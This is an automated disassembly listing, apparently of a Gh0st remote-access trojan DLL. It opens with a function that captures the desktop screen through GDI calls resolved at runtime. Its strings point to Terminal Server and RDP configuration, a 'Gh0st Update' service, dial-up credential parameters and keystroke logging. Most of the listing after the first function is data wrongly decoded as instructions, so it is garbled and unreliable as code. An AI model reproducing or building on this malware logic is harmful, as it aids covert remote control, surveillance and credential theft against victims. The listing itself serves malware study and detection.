Function at 0x1000dd60
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1001924e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
mov dword [esi + 0x88], 0x1001a49c
mov dword [esp + 0x14], 0x7f8a
mov dword [esp + 0x18], 0x7f00
mov dword [esp + 0x1c], 0x7f03
mov dword [esp + 0x20], 0x7f89
mov dword [esp + 0x24], 0x7f8b
mov dword [esp + 0x28], 0x7f01
mov dword [esp + 0x2c], 0x7f81
mov dword [esp + 0x30], 0x7f88
mov dword [esp + 0x34], 0x7f80
mov dword [esp + 0x38], 0x7f86
mov dword [esp + 0x3c], 0x7f83
mov dword [esp + 0x40], 0x7f85
mov dword [esp + 0x44], 0x7f82
mov dword [esp + 0x48], 0x7f84
mov dword [esp + 0x4c], 0x7f04
mov dword [esp + 0x50], 0x7f02
lea ebx, [esp + 0x14]
lea edi, [esi + 0xcc]
mov ebp, 0x10
mov eax, dword [ebx]
push eax
push 0
mov dword [edi - 0x40], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [edi], eax
add ebx, 4
add edi, 4
dec ebp
jne 0x1000de1b
xor ebp, ebp
push str.GDI32.dll
mov dword [esp + 0x60], ebp
mov dword [esi], 0x1001a4a0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [esp + 0x64]
mov dword [0x10021498], eax
lea eax, [ecx - 1]
cmp eax, 0x1f
ja case.0x1000de64.2
xor edx, edx
mov dl, byte [eax + 0x1000e058]
jmp dword [edx*4 + 0x1000e050]
mov dword [esi + 0x70], ecx
jmp 0x1000de77
mov dword [esi + 0x70], 8
mov ecx, esi
call fcn.1000e8c0
test al, al
jne 0x1000de98
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
mov dword [esi + 0x10c], eax
call dword [sym.imp.USER32.dll_GetDC]
mov dword [esi + 0x44], eax
mov dword [esi + 0x10], 0xcc0020
mov byte [esi + 4], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [esp + 0x6c]
mov dword [esi + 0x14], eax
mov eax, 0x3e8
xor edx, edx
div ecx
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push ebp
mov dword [esi + 8], ecx
mov dword [esi + 0x18], eax
mov al, byte [esp + 0x6c]
mov byte [esi + 0xc], al
call edi
push 1
mov dword [esi + 0x28], eax
call edi
mov dword [esi + 0x2c], eax
mov eax, 0x20
cdq
idiv dword [esi + 0x70]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi + 0x30], ebp
push str.CreateCompatibleDC
mov byte [esi + 0x24], al
mov ecx, dword [0x10021498]
push ecx
call ebx
mov edx, dword [esi + 0x44]
mov edi, eax
push edx
call edi
mov dword [esi + 0x4c], eax
mov eax, dword [esi + 0x44]
push eax
call edi
push ebp
mov dword [esi + 0x80], eax
call edi
push ebp
mov dword [esi + 0x48], eax
call edi
mov ecx, dword [esi + 0x28]
mov edx, dword [esi + 0x70]
lea ebp, [esi + 0x5c]
push 1
push ecx
push edx
mov ecx, esi
mov dword [esi + 0x50], eax
mov dword [ebp], 0
mov dword [esi + 0x60], 0
call fcn.1000e530
mov ecx, dword [esi + 0x28]
mov edx, dword [esi + 0x70]
mov dword [esi + 0x64], eax
mov eax, dword [esi + 0x2c]
push eax
push ecx
push edx
mov ecx, esi
call fcn.1000e530
mov ecx, dword [esi + 0x70]
mov dword [esi + 0x68], eax
mov eax, dword [esi + 0x28]
push 1
push eax
push ecx
mov ecx, esi
call fcn.1000e530
mov dword [esi + 0x6c], eax
mov edx, dword [0x10021498]
push str.CreateDIBSection
push edx
call ebx
push 0
push 0
push ebp
mov edi, eax
push 0
mov eax, dword [esi + 0x64]
mov ecx, dword [esi + 0x44]
push eax
push ecx
call edi
mov edx, dword [esi + 0x68]
mov dword [esi + 0x54], eax
push 0
lea eax, [esi + 0x60]
push 0
push eax
mov eax, dword [esi + 0x44]
push 0
push edx
push eax
call edi
mov edx, dword [esi + 0x68]
push 0
lea ecx, [esi + 0x78]
push 0
mov dword [esi + 0x58], eax
mov eax, dword [esi + 0x44]
push ecx
push 0
push edx
push eax
call edi
mov dword [esi + 0x84], eax
mov ecx, dword [0x10021498]
push str.SelectObject
push ecx
call ebx
mov edx, dword [esi + 0x58]
mov edi, eax
mov eax, dword [esi + 0x4c]
push edx
push eax
call edi
mov ecx, dword [esi + 0x54]
mov edx, dword [esi + 0x48]
push ecx
push edx
call edi
mov eax, dword [esi + 0x84]
mov ecx, dword [esi + 0x80]
push eax
push ecx
call edi
mov edx, dword [esi + 0x2c]
mov eax, dword [esi + 0x28]
push edx
push eax
push 0
lea ecx, [esi + 0x34]
push 0
push ecx
call dword [sym.imp.USER32.dll_SetRect]
mov edx, dword [esi + 0x68]
mov eax, dword [edx + 0x14]
shl eax, 1
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [esi + 0x68]
mov dword [esi + 0x1c], eax
xor edx, edx
add esp, 4
mov eax, dword [ecx + 0x14]
mov ecx, dword [esp + 0x54]
div dword [esi + 0x2c]
mov dword [esi + 0x20], 0
pop edi
mov dword [esi + 0x74], eax
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x50
ret 0xc
ja 0x1001e1b3
popal
jbe 0x1001e1b9
dec edi
jne 0x1001e1cb
dec edi
jo 0x1001e1bf
outsb dx, byte [esi]
add byte [edi + 0x61], dh
ja 0x1001e1bf
jbe 0x1001e1c5
dec edi
jne 0x1001e1d7
inc edi
je 0x1001e1b5
jne 0x1001e1d6
inc esp
jbe str.bad_buffer
add byte [eax], al
add byte [ecx + 0x6e], cl
dec ecx
outsb dx, byte [esi]
imul esi, dword [ecx + ebp*2 + 0x61], 0x657a696c
inc ebx
jb 0x1001e1e6
je 0x1001e1e8
arpl word [ecx + 0x6c], sp
push ebx
arpl word gs:[ecx + ebp*2 + 0x6f], si
outsb dx, byte [esi]
add byte [eax], al
add byte [esi + 0x69], dl
push esi
invalid
jb str.ProductName
jne 0x1001e1f3
insb byte es:[edi], dx
inc ecx
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [eax], ax
add byte [eax], al
add byte [edi + 0x53], dl
push edi
push ebx
xor bl, byte [edi + 0x33]
xor ch, byte [esi]
inc esp
dec esp
dec esp
add byte [eax], al
arpl word [edi + 0x6e], bp
outsb dx, byte [esi]
arpl word gs:[eax + eax + 0x20], si
mov dl, 1
adc byte [eax], al
add byte [eax], al
add byte [esi], ch
invalid
push eax
inc ecx
pop eax
add byte [eax], al
add byte [eax], al
and byte [edx + 0x1001], dh
add byte [eax], al
push eax
add byte [eax], ah
mov dl, 1
adc byte [eax], al
add byte [eax], al
add byte [esi], ch
push eax
inc ecx
inc esp
add byte [eax], al
add byte [eax], al
bound esp, qword [ecx + 0x64]
and byte [ecx + 0x6c], al
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [ecx + 0x74], sp
add byte gs:[eax], al
add byte [eax], al
bound esp, qword [ecx + 0x64]
and byte [edx + 0x75], ah
jb 0x1001e1eb
jb 0x1001e1eb
add byte [edx], dh
xor dh, byte [eax]
xor byte [eax], bh
add byte [eax], al
invalid
add byte [edx], dh
xor dh, byte [eax]
xor byte [ebx], dh
add byte [eax], al
add byte [eax], al
xor dh, byte [eax]
xor byte [eax], dh
add byte [eax], al
add byte [eax], al
push eax
jb 0x1001e276
push eax
jb 0x1001e276
jne 0x1001e26d
je 0x1001e25a
popal
insd dword es:[edi], dx
add byte gs:[ebx + 0x4f], dl
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x1001e27f
push edi
imul ebp, dword [esi + 0x64], 0x2073776f
dec esi
push esp
pop esp
inc ebx
jne 0x1001e2a3
jb 0x1001e298
outsb dx, byte [esi]
je 0x1001e28c
jb 0x1001e2ac
imul ebp, dword [edi + 0x6e], 0
inc ecx
inc esp
push esi
inc ecx
push eax
dec ecx
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
push edx
push ecx
jne 0x1001e2bb
jb 0x1001e2d1
push esi
popal
insb byte es:[edi], dx
jne 0x1001e2c2
inc ebp
js 0x1001e2a1
add byte [eax], al
add byte [eax], al
and eax, 0x25642573
jae 0x1001e26b
add byte [0x55000064], ah
push ebp
add byte fs:[eax], al
push ebp
jae 0x1001e2d8
jb 0x1001e2a2
inc ecx
outsb dx, byte gs:[si]
je 0x1001e2b5
and byte [ebp + 0x6f], cl
jp 0x1001e2e9
imul ebp, dword [esp + ebp*2 + 0x61], 0x302e342f
and byte [eax], ch
arpl word [edi + 0x6d], bp
insb byte es:[edi], dx
insb byte es:[edi], dx
popal
das
xor al, 0x2e
xor byte [eax], ah
sub byte [ebx + 0x6f], ah
insd dword es:[edi], dx
jo 0x1001e2ef
je 0x1001e2f9
bound ebp, qword [ebp + 0x3b]
and byte [ebp + 0x53], cl
dec ecx
inc ebp
and byte [esi], dh
xor byte cs:[ebx], bh
and byte [edi + 0x69], dl
outsb dx, byte [esi]
outsd dx, dword fs:[esi]
outsd dx, dword [esi]
ja 0x1001e319
and byte [esi + 0x54], cl
and byte [0x203b312e], dh
push ebx
push esi
xor dword [ebx], edi
and byte [ebx + 0x56], dl
xor dword [ebx], edi
and byte [esi], ch
dec esi
inc ebp
push esp
xor al, 0x2e
xor byte [ebx + 0x3b], al
and byte [esi], ch
dec esi
inc ebx
cmp esp, dword [eax]
dec esi
inc ebp
push esp
xor al, 0x2e
xor byte [ebp + 0x29], al
add byte [ecx + 0x6e], cl
dec ecx
outsb dx, byte [esi]
je 0x1001e331
jb 0x1001e33c
je 0x1001e320
jo 0x1001e338
outsb dx, byte [esi]
push ebp
jb 0x1001e343
inc ecx
add byte [eax], al
add byte [eax], al
dec ecx
outsb dx, byte [esi]
je 0x1001e345
jb 0x1001e350
je 0x1001e334
jo 0x1001e34c
outsb dx, byte [esi]
inc ecx
add byte [eax], al
add byte [ecx + 0x6e], cl
dec ecx
outsb dx, byte [esi]
je 0x1001e355
jb 0x1001e360
jb 0x1001e360
je 0x1001e338
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x1001e35e
dec eax
popal
outsb dx, byte [esi]
insb byte es:[edi], dx
add byte gs:[edi + 0x49], dl
push edi
dec ecx
dec esi
dec ecx
dec esi
inc ebp
push esp
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [0x64252e64], ah
and eax, 0x64252e64
and eax, 0x64252e64
and byte [eax], al
add byte [eax], al
add byte [0x73255c73], ah
and eax, 0x73255c73
add byte [eax], al
add byte [ebp + 0x69], cl
dec ebp
invalid
arpl word [edx + 0x6f], si
jae 0x1001e39a
jae 0x1001e322
add byte [eax], al
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x1001e38a
je 0x1001e38a
dec esi
je 0x1001e3a9
ja 0x1001e3a2
outsd dx, dword [esi]
jb 0x1001e3a0
imul ebx, dword [ebx + eax*2 + 0x6f], 0x6e
pop esp
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
outsb dx, byte [esi]
arpl word gs:[ecx + ebp*2 + 0x6f], si
je 0x1001e3a7
outsd dx, dword [esi]
outsb dx, byte [esi]
jae 0x1001e39e
jo 0x1001e3a6
bound ebp, qword [ebx + 0x5c]
imul ebx, dword [edx + esi*2 + 0x61], 0x73
jo 0x1001e3b3
pop esp
jb 0x1001e3a9
jae 0x1001e3ba
push 0x2e656e6f
jo 0x1001e3b3
outsd dx, dword [esi]
outsb dx, byte [esi]
jo 0x1001e3b3
bound ebp, qword [ebx]
add byte [ecx + eax*2 + 0x70], bl
pop esp
inc ecx
jo str.advapi32.dll
insb byte es:[edi], dx
imul eax, dword [eax], 0
pop esp
inc ecx
jo str.advapi32.dll
insb byte es:[edi], dx
imul esp, dword [ebx + 0x61], 0x6e6f6974
outsd dx, dword [esi]
outsb dx, byte [esi]
and byte [ecx + 0x74], al
popal
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x1001e3cc
dec esi
je 0x1001e3eb
outsd dx, dword [esi]
jb 0x1001e3e2
pop esp
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
outsb dx, byte [esi]
arpl word gs:[ecx + ebp*2 + 0x6f], si
outsb dx, byte [esi]
jae 0x1001e3e0
jo 0x1001e3e8
imul ebx, dword [edx + esi*2 + 0x61], 0x73
jo 0x1001e3f5
jae 0x1001e3fc
push 0x2e656e6f
jo 0x1001e3f5
outsd dx, dword [esi]
outsb dx, byte [esi]
jo 0x1001e3f5
imul eax, dword [eax], 0
add byte [eax], al
inc esp
outsd dx, dword [esi]
arpl word [ebp + 0x6d], si
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
je 0x1001e414
jae 0x1001e3c2
and byte [ecx + 0x6e], ah
popal
outsb dx, byte [esi]
and byte fs:[ebx + 0x65], dl
je 0x1001e41e
push ebx
je 0x1001e41e
je 0x1001e414
imul ebp, dword [esi + 0x67], 0x43005c73
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
jae 0x1001e40b
add byte [ebx + 0x6f], al
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
jbe 0x1001e41a
jb 0x1001e42b
push ebx
imul esp, dword [esp + edx*2 + 0x6f], 0x69727453
outsb dx, byte [esi]
push ebx
push esp
outsd dx, dword [esi]
push ebx
je 0x1001e431
imul ebp, dword [esi + 0x67], 0x41646953
push ebx
imul esp, dword [ecx + eax*2], 0x76646100
popal
jbe 0x1001e42d
inc ecx
add byte [eax], al
popal
jbe 0x1001e42d
jo 0x1001e437
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
dec esp
and al, 0x5f
push edx
popal
jae 0x1001e423
popaw
popaw
jne 0x1001e450
je 0x1001e429
jb 0x1001e44d
outsb dx, byte gs:[esi]
je 0x1001e456
popal
insb byte es:[edi], dx
jae 0x1001e414
xor byte [eax], al
add byte [edx + 0x61], dl
push edx
popal
popal
jae str.Shell32.dll
imul esp, dword [ecx + 0x6c], 0x61726150
popal
jb str.LocalReAlloc
insd dword es:[edi], dx
jae 0x1001e423
and eax, 0x302373
add byte [ebp + 0x76], al
inc esp
invalid
invalid
imul esp, dword [ebx + 0x65], 0x68500000
push eax
invalid
outsd dx, dword [esi]
outsb dx, byte [esi]
dec esi
jne 0x1001e485
bound esp, qword [ebp + 0x72]
add byte [ecx + ebp*2 + 0x61], al
inc esp
invalid
popal
jb str.DialParamsUID
inc esp
imul esp, dword [ecx + 0x6c], 0x61726150
popal
insb byte es:[edi], dx
push eax
popal
jb 0x1001e485
popal
insd dword es:[edi], dx
jae str._s_s_s
dec ecx
inc esp
add byte [eax], al
add byte [ebx + 0x68], dl
push ebx
invalid
insb byte es:[edi], dx
insb byte es:[edi], dx
push 0x456c6c65
inc ebp
js 0x1001e499
arpl word [ebp + 0x74], si
inc ecx
add byte [eax], al
add byte [ebx + 0x68], dl
push ebx
push 0x336c6c65
xor ch, byte [esi]
insb byte es:[edi], dx
push ebx
push 0x336c6c65
xor ch, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [ebx + 0x48], dl
push ebx
dec eax
inc edi
je 0x1001e494
inc esi
imul ebp, dword [ebp + 0x49], 0x416f666e
dec ecx
outsb dx, byte [esi]
outsw dx, word [esi]
inc ecx
add byte [eax], al
add byte cs:[eax], al
add byte cs:[eax], al
add byte [edi + ebp*2 + 0x63], cl
dec esp
outsd dx, dword [esi]
arpl word [ecx + 0x6c], sp
dec esp
outsd dx, dword [esi]
arpl word [ecx + 0x6c], sp
push edx
inc ecx
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [eax], ax
add byte [eax], al
add byte [edx + 0x65], dl
push edx
popal
inc esi
imul ebp, dword [ebp], 0x25000000
invalid
jae 0x1001e4a4
and eax, 0x25732573
jae 0x1001e4a6
jae 0x1001e483
add byte [0x2a732573], ah
and eax, 0x2a732573
jae 0x1001e4ac
jae 0x1001e4b3
sub al, byte cs:[eax]
pop esp
add byte [eax], al
add byte [eax + 0x74], cl
dec eax
je 0x1001e507
invalid
das
xor dword [esi], ebp
xor dword [eax], esp
xor al, 0x30
xor esp, dword [eax]
inc esi
outsd dx, dword [esi]
jb 0x1001e503
imul esp, dword [esp + 0x65], 0xd0a0d6e
or bh, byte [eax + ecx*2]
outsb dx, byte gs:[esi]
or eax, 0x3c0a0d0a
dec eax
xor dword [esi], edi
xor al, 0x30
xor esp, dword [eax]
inc esi
outsd dx, dword [esi]
jb 0x1001e518
imul esp, dword [esp + 0x65], 0x482f3c6e
xor dword [esi], edi
add byte [eax], al
add byte [eax], al
dec eax
push esp
push esp
push eax
das
xor dword [esi], ebp
xor byte [eax], ah
xor dh, byte [eax]
xor byte [eax], ah
dec edi
dec ebx
or eax, 0xa0d0a
push eax
add byte [eax], al
add byte [esi], ch
inc esp
inc ebp
inc esi
inc ecx
push ebp
dec esp
push esp
pop esp
dec ebx
jns 0x1001e54b
outsd dx, dword [esi]
popal
jb 0x1001e551
and byte [ecx + 0x79], cl
outsd dx, dword [esi]
jne 0x1001e568
pop esp
push esp
outsd dx, dword [esi]
insb byte es:[di], dx
add byte gs:[eax + 0x6f], cl
dec eax
outsd dx, dword [esi]
je 0x1001e56b
jns 0x1001e503
add byte [edx], dh
add byte [eax], al
add byte [ebx + 0x59], dl
push ebx
pop ecx
xor al, byte [eax]
add byte [eax], al
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x1001e584
jb 0x1001e579
outsb dx, byte [esi]
je 0x1001e55a
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x1001e58d
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x1001e57d
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x1001e598
outsd dx, dword [esi]
insb byte es:[edi], dx
pop esp
push esp
jb 0x1001e59a
imul ebp, dword [esi + 0x61], 0x6553206c
jb 0x1001e5ac
jb 0x1001e595
push edi
jae 0x1001e599
jb 0x1001e5a3
jo 0x1001e5b8
pop esp
push esp
jae 0x1001e5a3
je 0x1001e5ac
jo 0x1001e54b
add byte [ebx + 0x59], dl
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x1001e5c8
jb 0x1001e5bd
outsb dx, byte [esi]
je 0x1001e59e
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x1001e5d1
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x1001e5c1
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x1001e5dc
outsd dx, dword [esi]
insb byte es:[edi], dx
pop esp
push esp
jb 0x1001e5de
imul ebp, dword [esi + 0x61], 0x6553206c
jb 0x1001e5f0
jbe 0x1001e5e0
jb 0x1001e5d9
jb 0x1001e5d9
push edi
imul ebp, dword [esi + 0x53], 0x69746174
outsd dx, dword [esi]
outsb dx, byte [esi]
jae 0x1001e5e5
imul ebp, dword [edi + 0x6e], 0x44525c73
push edx
inc esp
push eax
sub eax, 0x706354
push esp
arpl word [eax], si
add byte [eax], al
add byte [ebx + 0x59], dl
push ebx
pop ecx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x1001e610
jb 0x1001e605
outsb dx, byte [esi]
je 0x1001e5e6
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x1001e619
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x1001e609
pop esp
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x1001e624
outsd dx, dword [esi]
insb byte es:[edi], dx
pop esp
push esp
jb 0x1001e626
insd dword es:[edi], dx
imul ebp, dword [esi + 0x61], 0x6553206c
and byte [ebx + 0x65], dl
jb 0x1001e638
jbe 0x1001e628
jb 0x1001e621
jb 0x1001e621
push edx
inc esp
push eax
push esp
arpl word [eax], si
push eax
outsd dx, dword [esi]
jb 0x1001e644
dec esi
jne 0x1001e640
bound esp, qword [ebp + 0x72]
add byte [eax], al
inc sp
inc esp
outsb dx, byte gs:[esi]
jns 0x1001e632
push ebx
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
outsb dx, byte [esi]
arpl word gs:[ecx + ebp*2 + 0x6f], si
je str.SYSTEMCurrentControlSetControlTerminal_Server
imul ebp, dword [edi + 0x6e], 0x53000073
push ebx
pop ecx
outsd dx, dword [esi]
outsb dx, byte [esi]
jae 0x1001e5eb
add byte [ebx + 0x59], dl
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x1001e668
jb 0x1001e65d
outsb dx, byte [esi]
je 0x1001e63e
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x1001e671
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x1001e661
push ebx
jb 0x1001e67f
imul esp, dword [ebx + 0x65], 0x65545c73
jb 0x1001e67f
push ebx
jb 0x1001e68c
imul esp, dword [ebx + 0x65], 0x53000000
push ebx
pop ecx
add byte [eax], al
add byte [ebx + 0x59], dl
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x1001e698
jb 0x1001e68d
outsb dx, byte [esi]
je 0x1001e66e
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x1001e6a1
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x1001e691
push ebx
jb 0x1001e6af
jbe 0x1001e6a3
imul esp, dword [ebx + 0x65], 0x65545c73
arpl word [ebp + 0x73], sp
pop esp
push esp
jb 0x1001e6af
jb 0x1001e6af
inc esp
inc esp
add byte [eax], al
add byte [eax], al
push ebx
je 0x1001e6ac
jb 0x1001e6c1
add byte [eax], al
add byte [ebx + 0x59], dl
push ebx
pop ecx
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x1001e6cc
jb 0x1001e6c1
outsb dx, byte [esi]
je 0x1001e6a2
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x1001e6d5
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x1001e6c5
pop esp
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je str.SOFTWAREPoliciesMicrosoftWindowsInstaller
outsd dx, dword [esi]
insb byte es:[edi], dx
pop esp
push esp
jb 0x1001e6e2
imul ebp, dword [esi + 0x61], 0x6553206c
jb 0x1001e6f4
jb 0x1001e681
jb 0x1001e681
add byte [eax], al
add byte [ebx + edx*2 + 0x45], dl
push esp
push ebx
inc ebp
outsb dx, byte [esi]
popal
bound ebp, qword [ebp + 0x64]
add byte fs:[eax], al
add byte [eax], al
add byte [ebx + 0x4f], dl
push ebx
dec edi
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x1001e6ff
pop esp
push edi
imul ebp, dword [esi + 0x64], 0x2073776f
dec esi
push esp
pop esp
inc ebx
jne 0x1001e723
jb 0x1001e718
outsb dx, byte [esi]
je 0x1001e70c
jb 0x1001e72c
imul ebp, dword [edi + 0x6e], 0x6e69575c
insb byte es:[edi], dx
outsd dx, dword [esi]
outsd dx, dword [si]
outsb dx, byte [esi]
add byte [eax], al
add byte [ebx + 0x68], dl
push ebx
invalid
jne 0x1001e740
outsd dx, dword fs:[esi]
ja 0x1001e73e
push edi
imul esi, dword [eax + ebp*2 + 0x6f], 0x6f4c7475
jne 0x1001e74b
dec esp
outsd dx, dword [esi]
outsd dx, dword [si]
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
push eax
outsd dx, dword [esi]
insb byte es:[edi], dx
imul esp, dword [ebx + 0x69], 0x4d5c7365
imul esp, dword [ebx + 0x72], 0x666f736f
je str.Enabled
arpl word [edx + 0x6f], si
jae 0x1001e768
je str.Enabled
push edi
imul ebp, dword [esi + 0x64], 0x5c73776f
outsd dx, dword fs:[esi]
ja 0x1001e776
pop esp
dec ecx
outsb dx, byte [esi]
jae str.Gh0st_Update
popal
insb byte es:[edi], dx
insb byte es:[edi], dx
jb 0x1001e70e
jb 0x1001e70e
add byte [eax], al
inc ebp
outsb dx, byte [esi]
popal
bound ebp, qword [ebp + 0x41]
insd dword es:[edi], dx
insd dword es:[edi], dx
imul ebp, dword [esi + 0x54], 0x6d655253
outsd dx, dword [esi]
je 0x1001e788
add byte [ebx + 0x4f], dl
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x1001e793
push edi
imul ebp, dword [esi + 0x64], 0x5c73776f
pop esp
inc ebx
jne 0x1001e7b4
jb 0x1001e7a9
outsb dx, byte [esi]
je 0x1001e79d
jb 0x1001e7bd
imul ebp, dword [edi + 0x6e], 0x74656e5c
arpl word [ecx + 0x63], sp
push 0x45000065
inc ebp
outsd dx, dword [esi]
outsb dx, byte [esi]
pop esp
outsb dx, byte [esi]
je 0x1001e7b5
popal
arpl word [eax + 0x65], bp
add byte [eax], al
inc ebp
outsb dx, byte [esi]
popal
bound ebp, qword [ebp + 0x64]
add byte [ebx + esi*2 + 0x79], bl
pop esp
jae 0x1001e7dc
jae 0x1001e7d1
outsd dx, dword [esi]
popal
popal
je str.WinSta0Default
push edi
imul ebp, dword [esi + 0x53], 0x5c306174
inc esp
popaw
popaw
jne 0x1001e7e6
je str.Gh0st_Update
inc edi
push 0x20747330
push ebp
jo 0x1001e7e9
popal
je 0x1001e7ed
add byte [eax], al
add byte [eax], al
push ebx
jns 0x1001e802
jae 0x1001e804
je 0x1001e7f6
insd dword es:[edi], dx
insd dword es:[edi], dx
add byte [eax], al
push ebx
arpl word gs:[ebp + 0x72], si
add byte [ebx + 0x65], dl
push ebx
arpl word gs:[ebp + 0x72], si
imul esi, dword [ecx + edi*2], 0x41000000
inc ecx
jo 0x1001e813
add byte [eax], al
add byte [ecx + 0x70], al
inc ecx
jo 0x1001e813
insb byte es:[edi], dx
insb byte es:[edi], dx
imul esp, dword [ebx + 0x61], 0x6e6f6974
outsd dx, dword [esi]
outsb dx, byte [esi]
add byte [ebx + 0x6f], al
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
outsb dx, byte [esi]
arpl word gs:[edi + eax*2 + 0x72], si
jb 0x1001e825
outsd dx, dword [esi]
jne 0x1001e828
add byte [eax], al
add byte [eax], al
inc ebx
dec edi
dec esi
dec esi
inc ebp
inc ebx
push esp
and byte [eax], al
add byte [eax], al
add byte [eax + 0x4f], dl
push eax
dec edi
push ebx
push esp
and byte [eax], al
add byte [eax], al
dec eax
inc ebp
inc ecx
inc esp
and byte [eax], al
add byte [eax], al
inc edi
inc ebp
push esp
and byte [eax], al
add byte [eax], al
add byte [eax + 0x74], ch
invalid
je 0x1001e857
invalid
cmp ch, byte [edi]
das
add bl, bh
jl 0x1001e7ca
jle 0x1001e78e
jnp 0x1001e7f5
je 0x1001e849
push esp
add byte [eax], al
rol ah, 1
invalid
int3
dec ebx
jns 0x1001e806
jns 0x1001e806
add byte [eax], al
push ebp
jae str.GetActiveWindow
jb 0x1001e840
xor ch, byte [esi]
inc esp
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
inc edi
je 0x1001e86f
add byte [edi + 0x65], al
inc edi
je 0x1001e86f
imul ebp, dword [esi + 0x64], 0x6554776f
js 0x1001e895
inc ecx
add byte [eax], al
inc ebp
outsb dx, byte [esi]
jne 0x1001e895
push edi
imul ebp, dword [esi + 0x64], 0x73776f
jne 0x1001e8a5
jb 0x1001e868
xor ch, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
dec ecx
dec ebp
dec ebp
xor esi, dword [edx]
insb byte es:[edi], dx
xor ch, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [0x30255b0a], cl
or eax, 0x30255b0a
xor dh, byte [ebp + 0x2d]
or bl, byte [ebx + 0x25]
xor byte [edx], dh
jne 0x1001e87d
and eax, 0x2d753230
and eax, 0x30252064
xor dh, byte [ebp + 0x3a]
sub eax, 0x25206425
xor byte [edx], dh
jne 0x1001e897
and eax, 0x3a753230
and eax, 0x5d753230
and byte [eax], ch
and eax, 0xa0d2973
sub byte [0xa0d2973], ah
add byte [eax], al
add byte [edi + 0x65], al
inc edi
je 0x1001e8b5
inc edi
je 0x1001e8b5
arpl word [ecx + ebp*2 + 0x76], si
push edi
imul ebp, dword [esi + 0x64], 0x5d00776f
outsd dx, dword [esi]
ja 0x1001e880
pop ebp
add byte [eax], al
add byte [0x4700000a], cl
inc edi
je 0x1001e8d7
jns 0x1001e8dd
popal
insd dword es:[edi], dx
push esp
js 0x1001e90a
je str.ImmGetContext
inc ecx
add byte [ebx + 0x61], al
inc ebx
popal
insb byte es:[edi], dx
insb byte es:[edi], dx
dec esi
js 0x1001e914
dec eax
outsd dx, dword [esi]
outsd dx, dword [esi]
imul eax, dword [ebp + 0x78], 0
js 0x1001e8a7
add byte [ecx + 0x6d], cl
dec ecx
insd dword es:[edi], dx
insd dword es:[edi], dx
push edx
insb byte es:[edi], dx
popal
jae 0x1001e917
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x1001e91c
